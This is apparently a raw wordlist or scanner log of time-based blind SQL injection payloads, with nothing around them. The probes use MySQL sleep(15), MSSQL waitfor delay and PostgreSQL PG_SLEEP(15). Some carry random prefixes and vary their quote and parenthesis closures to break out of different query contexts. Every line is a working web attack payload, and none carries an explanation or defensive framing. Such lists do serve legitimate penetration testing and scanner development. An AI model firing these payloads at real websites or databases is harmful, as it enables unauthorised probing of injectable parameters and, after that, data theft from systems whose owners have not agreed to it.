(select(0)from(select(sleep(15)))v)

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

LrxQtRN8'; waitfor delay '0:0:15' --

-5 OR 124=(SELECt 124 FROM PG_SLEEP(15))--

-5) OR 354=(SELECt 354 FROM PG_SLEEP(15))--

-1)) OR 126=(SELECt 126 FROM PG_SLEEP(15))--

cYhOS1su' OR 206=(SELECt 206 FROM PG_SLEEP(15))--

DCqAouel') OR 125=(SELECt 125 FROM PG_SLEEP(15))--